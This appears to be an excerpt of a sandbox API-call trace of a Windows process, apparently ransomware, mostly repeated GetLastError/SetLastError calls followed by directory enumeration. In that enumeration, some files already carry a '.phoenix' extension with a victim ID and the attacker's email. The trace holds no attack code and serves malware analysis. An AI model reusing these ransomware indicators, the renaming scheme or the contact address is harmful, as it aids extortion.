	[0212.477] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.478] SetLastError (dwErrCode=0x0) 
	[0212.478] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.479] SetLastError (dwErrCode=0x0) 
	[0212.479] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.480] SetLastError (dwErrCode=0x0) 
	[0212.480] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.481] SetLastError (dwErrCode=0x0) 
	[0212.481] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.482] SetLastError (dwErrCode=0x0) 
	[0212.482] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.483] GetLastError () returned 0x0
	[0212.483] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.484] SetLastError (dwErrCode=0x0) 
	[0212.484] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.485] SetLastError (dwErrCode=0x0) 
	[0212.485] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.486] SetLastError (dwErrCode=0x0) 
	[0212.486] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] GetLastError () returned 0x0
	[0212.487] SetLastError (dwErrCode=0x0) 
	[0212.487] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cae1b2e, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x17d, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="OOBE_2~1.PHO")) returned 1
	[0212.487] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce02cce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x17d, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 1
	[0212.487] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce02cce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x17d, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 0
	[0212.487] FindClose (in: hFindFile=0x6459b8 | out: hFindFile=0x6459b8) returned 1
	[0212.510] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x3524090 | out: hHeap=0xd20000) returned 1
	[0212.510] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0212.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x17d, cFileName=".", cAlternateFileName="")) returned 0x645ff8
	[0212.846] FindNextFileW (in: hFindFile=0x645ff8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x17d, cFileName="..", cAlternateFileName="")) returned 1
	[0212.846] FindNextFileW (in: hFindFile=0x645ff8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cbece46, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x17d, cFileName="GetCurrentOOBE.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="GETCUR~1.PHO")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665698, lpFindFileData=0x3bdecf0 | out: lpFindFileData=0x3bdecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665698, lpFindFileData=0x3bdecf0 | out: lpFindFileData=0x3bdecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665698, lpFindFileData=0x3bdecf0 | out: lpFindFileData=0x3bdecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665698, lpFindFileData=0x3bdecf0 | out: lpFindFileData=0x3bdecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665698, lpFindFileData=0x3bdecf0 | out: lpFindFileData=0x3bdecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0214.481] FindClose (in: hFindFile=0x665698 | out: hFindFile=0x665698) returned 1
	[0214.481] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x4370070 | out: hHeap=0xd20000) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665498, lpFindFileData=0x3bdef74 | out: lpFindFileData=0x3bdef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665498, lpFindFileData=0x3bdef74 | out: lpFindFileData=0x3bdef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665498, lpFindFileData=0x3bdef74 | out: lpFindFileData=0x3bdef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1
	[0214.481] FindNextFileW (in: hFindFile=0x665498, lpFindFileData=0x3bdef74 | out: lpFindFileData=0x3bdef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0
	[0214.481] FindClose (in: hFindFile=0x665498 | out: hFindFile=0x665498) returned 1
	[0214.481] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x4360068 | out: hHeap=0xd20000) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Search", cAlternateFileName="")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Settings", cAlternateFileName="")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Spectrum", cAlternateFileName="")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="UEV", cAlternateFileName="")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0214.482] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Vault", cAlternateFileName="")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="WDF", cAlternateFileName="")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Windows", cAlternateFileName="")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1
